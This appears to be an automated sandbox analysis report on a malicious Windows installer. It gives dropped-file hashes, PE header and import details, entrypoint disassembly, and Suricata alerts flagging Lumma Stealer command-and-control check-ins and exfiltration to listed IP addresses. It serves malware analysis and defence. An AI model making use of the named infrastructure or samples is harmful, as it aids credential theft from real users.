Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P......................................D=...............................P.......P..(....................L.. ?...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-QU1EC.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\UltraMedia\is-NG40A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1063239551
Entropy (8bit):	0.19795435725041813
Encrypted:	false
SSDEEP:
MD5:	C12ED31F29EF510393AE36661F44F102
SHA1:	2F00EEEA897AD851E65FE3A877D9B6380AEE484D
SHA-256:	8467A252F34645C19D8CDE87BBC4E214E81C58BB8D0376C67A43086222508CA0
SHA-512:	2075F2B500D65D8187470BA66EDFB268CE165F4841921F04629449CC62ED40D2D02FAE29CF0CA7C4DC7DDA925EA69E30C11E96042108B83899FF6150DBFC5CBD
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..................N.........$.N.......N...@..........................P............@......@........................... Q..@....T..`............_?.)....Q.,N............................Q.....................................................CODE......N.......N................. ..`DATA..........N.......N.............@...BSS...........P......hP..................idata...@... Q..B...hP.............@....tls....0....pQ.......P..................rdata........Q.......P.............@..P.reloc.. N....Q..P....P.............@..P.rsrc....`....T..b....S.............@..P..............t.......s.............@..P........................................................................................................................................

C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1063239551
Entropy (8bit):	0.19795435725041813
Encrypted:	false
SSDEEP:
MD5:	C12ED31F29EF510393AE36661F44F102
SHA1:	2F00EEEA897AD851E65FE3A877D9B6380AEE484D
SHA-256:	8467A252F34645C19D8CDE87BBC4E214E81C58BB8D0376C67A43086222508CA0
SHA-512:	2075F2B500D65D8187470BA66EDFB268CE165F4841921F04629449CC62ED40D2D02FAE29CF0CA7C4DC7DDA925EA69E30C11E96042108B83899FF6150DBFC5CBD
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..................N.........$.N.......N...@..........................P............@......@........................... Q..@....T..`............_?.)....Q.,N............................Q.....................................................CODE......N.......N................. ..`DATA..........N.......N.............@...BSS...........P......hP..................idata...@... Q..B...hP.............@....tls....0....pQ.......P..................rdata........Q.......P.............@..P.reloc.. N....Q..P....P.............@..P.rsrc....`....T..b....S.............@..P..............t.......s.............@..P........................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.338553285001417
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 47.14% Win32 Executable (generic) a (10002005/4) 47.09% NSIS - Nullsoft Scriptable Install System (846627/2) 3.99% DirectShow filter (201580/2) 0.95% Windows ActiveX control (116523/4) 0.55%
File name:	appFile.exe
File size:	37'872'978 bytes
MD5:	7c498eca1b725e8a85fef298184ccbb9
SHA1:	77ce8a334475d9469c43f668b6b09feb04768500
SHA256:	d385d42cc611f7964ea583e10d991118f91456e88d76b3be14c047e4acdaab5c
SHA512:	245ec4b94c92bc9ee9bc393010666ac5eda53325ded0fda1923fe151e33ab2f1bdcd3a2a4e4fe41d8b99f4088bd74d4ca6270b939f0752538679ec26ac3ad2cb
SSDEEP:	393216:KdekoWJfJn36OnUASZx8EeCjgfAChEzie46SBnZ43ie1DKdHmE+XBUIvvpPRElm:KdRPJQuU7WWgfAYEziR6SBnayeOHSXEk
TLSH:	2A87D002B7E84065F5F726302579AB27693EBAB41F6082DF1255665E2CB27C1DF3032B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................t...z...B...8.....

File Icon


Icon Hash:	3a1c4e4f4f87964d

Static PE Info

General

Entrypoint:	0x4038af
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4F47E2E4 [Fri Feb 24 19:20:04 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 0040A268h
mov dword ptr [esp+14h], ebp
call dword ptr [00409030h]
push 00008001h
call dword ptr [004090B4h]
push ebp
call dword ptr [004092C0h]
push 00000008h
mov dword ptr [0047EB98h], eax
call 00007F94648C1A0Bh
push ebp
push 000002B4h
mov dword ptr [0047EAB0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 0040A264h
call dword ptr [00409184h]
push 0040A24Ch
push 00476AA0h
call 00007F94648C16EDh
call dword ptr [004090B0h]
push eax
mov edi, 004CF0A0h
push edi
call 00007F94648C16DBh
push ebp
call dword ptr [00409134h]
cmp word ptr [004CF0A0h], 0022h
mov dword ptr [0047EAB8h], eax
mov eax, edi
jne 00007F94648BEFDAh
push 00000022h
pop esi
mov eax, 004CF0A2h
push esi
push eax
call 00007F94648C13B1h
push eax
call dword ptr [00409260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007F94648BF063h
push 00000020h
pop ebx
cmp ax, bx
jne 00007F94648BEFDAh
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xac40	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x100000	0x20c6e	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xfec7f	0x36e8
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x86000	0x994	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x728c	0x7400	419d4e1be1ac35a5db9c47f553b27cea	False	0.6566540948275862	data	6.499708590628113	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9000	0x2b6e	0x2c00	cca1ca3fbf99570f6de9b43ce767f368	False	0.3678977272727273	data	4.497932535153822	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xc000	0x72b9c	0x200	77f0839f8ebea31040e462523e1c770e	False	0.279296875	data	1.8049406284608531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x7f000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x100000	0x20c6e	0x20e00	153d55776e7a63d33ed539aa7eb69d8b	False	0.5166127019961977	data	5.178055190114233	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x121000	0xfd6	0x1000	dfae800432b507ebd6e4071a7f688d8b	False	0.567626953125	data	5.316381554028179	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x10030c	0x2327	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.001222358039782
RT_ICON	0x102634	0x2668	Device independent bitmap graphic, 48 x 96 x 32, image size 9792	English	United States	0.5455655004068348
RT_ICON	0x104c9c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m			0.45478723404255317
RT_ICON	0x105104	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m			0.30072614107883816
RT_ICON	0x1076ac	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 3779 x 3779 px/m			0.24179285460783154
RT_ICON	0x117ed4	0x84e3	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.9950909785707986
RT_DIALOG	0x1203b8	0x100	data	English	United States	0.5234375
RT_DIALOG	0x1204b8	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x1205d4	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x120634	0x3e	data			0.8709677419354839
RT_GROUP_ICON	0x120674	0x22	data	English	United States	0.9705882352941176
RT_VERSION	0x120698	0x300	data	English	United States	0.46484375
RT_MANIFEST	0x120998	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T10:21:25.561664+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	104.21.94.92	443	TCP
2024-12-27T10:21:29.417050+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49733	104.21.94.92	443	TCP
2024-12-27T10:21:29.417050+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49733	104.21.94.92	443	TCP
2024-12-27T10:21:30.682504+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	104.21.94.92	443	TCP
2024-12-27T10:21:33.528237+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49737	104.21.94.92	443	TCP
2024-12-27T10:21:33.528237+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49737	104.21.94.92	443	TCP
2024-12-27T10:21:35.030514+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49738	104.21.94.92	443	TCP
2024-12-27T10:21:37.289098+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49739	104.21.94.92	443	TCP
2024-12-27T10:21:39.456880+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49740	104.21.94.92	443	TCP
2024-12-27T10:21:41.870553+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	104.21.94.92	443	TCP
2024-12-27T10:21:43.903017+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	104.21.94.92	443	TCP
2024-12-27T10:21:44.701886+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49742	104.21.94.92	443	TCP
2024-12-27T10:21:45.964411+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	104.21.94.92	443	TCP
2024-12-27T10:21:46.738072+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49743	104.21.94.92	443	TCP
2024-12-27T10:21:48.855903+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49744	185.161.251.21	443	TCP
2024-12-27T10:21:50.970420+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49745	172.67.214.186	443	TCP
2024-12-27T10:21:51.853713+0100	2008438	ET MALWARE Possible Windows executable sent when remote host claims to send a Text File	1	172.67.214.186	443	192.168.2.4	49745	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 10:21:24.250905991 CET	49733	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:24.250931978 CET	443	49733	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:24.251017094 CET	49733	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:24.253567934 CET	49733	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:24.253578901 CET	443	49733	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:25.561580896 CET	443	49733	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:25.561664104 CET	49733	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:25.564209938 CET	49733	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:25.564218998 CET	443	49733	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:25.564425945 CET	443	49733	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:25.605101109 CET	49733	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:25.612447977 CET	49733	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:25.612461090 CET	49733	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:25.612531900 CET	443	49733	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:29.416995049 CET	443	49733	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:29.417072058 CET	443	49733	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:29.417123079 CET	49733	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:29.419068098 CET	49733	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:29.419080019 CET	443	49733	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:29.426209927 CET	49737	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:29.426306963 CET	443	49737	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:29.426408052 CET	49737	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:29.426743031 CET	49737	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:29.426783085 CET	443	49737	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:30.682338953 CET	443	49737	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:30.682503939 CET	49737	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:30.683787107 CET	49737	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:30.683809996 CET	443	49737	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:30.684031963 CET	443	49737	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:30.692522049 CET	49737	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:30.692522049 CET	49737	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:30.692591906 CET	443	49737	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:33.528220892 CET	443	49737	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:33.528260946 CET	443	49737	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:33.528287888 CET	443	49737	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:33.528316021 CET	443	49737	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:33.528341055 CET	443	49737	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:33.528340101 CET	49737	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:33.528397083 CET	443	49737	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:33.528429985 CET	49737	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:33.528599977 CET	49737	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:33.536317110 CET	443	49737	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:33.544629097 CET	443	49737	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:33.544681072 CET	49737	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:33.544703960 CET	443	49737	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:33.552848101 CET	443	49737	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:33.552906036 CET	49737	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:33.552922964 CET	443	49737	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:33.605115891 CET	49737	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:33.605134964 CET	443	49737	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:33.651961088 CET	49737	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:33.729053974 CET	443	49737	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:33.732944012 CET	443	49737	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:33.733020067 CET	49737	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:33.733050108 CET	443	49737	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:33.740689039 CET	443	49737	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:33.740746975 CET	49737	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:33.740762949 CET	443	49737	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:33.740783930 CET	443	49737	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:33.740849018 CET	49737	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:33.740930080 CET	49737	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:33.740971088 CET	443	49737	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:33.740998030 CET	49737	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:33.741017103 CET	443	49737	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:33.819881916 CET	49738	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:33.819920063 CET	443	49738	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:33.819987059 CET	49738	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:33.820427895 CET	49738	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:33.820441961 CET	443	49738	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:35.030421972 CET	443	49738	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:35.030514002 CET	49738	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:35.031712055 CET	49738	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:35.031717062 CET	443	49738	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:35.031917095 CET	443	49738	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:35.038605928 CET	49738	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:35.038733959 CET	49738	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:35.038755894 CET	443	49738	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:35.038830996 CET	49738	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:35.038835049 CET	443	49738	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:36.013175011 CET	443	49738	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:36.013252020 CET	443	49738	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:36.013298988 CET	49738	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:36.013470888 CET	49738	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:36.013480902 CET	443	49738	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:36.031552076 CET	49739	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:36.031634092 CET	443	49739	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:36.031742096 CET	49739	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:36.032048941 CET	49739	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:36.032085896 CET	443	49739	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:37.288986921 CET	443	49739	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:37.289098024 CET	49739	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:37.290257931 CET	49739	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:37.290287971 CET	443	49739	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:37.290513039 CET	443	49739	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:37.291640043 CET	49739	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:37.291764975 CET	49739	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:37.291806936 CET	443	49739	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:38.178240061 CET	443	49739	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:38.178309917 CET	443	49739	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:38.178386927 CET	49739	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:38.178591967 CET	49739	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:38.178637028 CET	443	49739	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:38.245678902 CET	49740	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:38.245724916 CET	443	49740	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:38.245804071 CET	49740	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:38.246081114 CET	49740	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:38.246097088 CET	443	49740	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:39.456818104 CET	443	49740	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:39.456880093 CET	49740	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:39.458280087 CET	49740	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:39.458296061 CET	443	49740	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:39.458499908 CET	443	49740	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:39.459727049 CET	49740	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:39.459856033 CET	49740	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:39.459889889 CET	443	49740	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:39.459937096 CET	49740	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:39.459944010 CET	443	49740	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:40.413647890 CET	443	49740	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:40.413722992 CET	443	49740	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:40.413779974 CET	49740	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:40.413958073 CET	49740	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:40.413978100 CET	443	49740	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:40.566524982 CET	49741	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:40.566562891 CET	443	49741	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:40.566631079 CET	49741	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:40.566915035 CET	49741	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:40.566926956 CET	443	49741	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:41.870474100 CET	443	49741	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:41.870553017 CET	49741	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:41.886581898 CET	49741	443	192.168.2.4	104.21.94.92
Dec 27, 2024 10:21:41.886598110 CET	443	49741	104.21.94.92	192.168.2.4
Dec 27, 2024 10:21:41.886790991 CET	443	49741	104.21.94.92	192.168.2.4
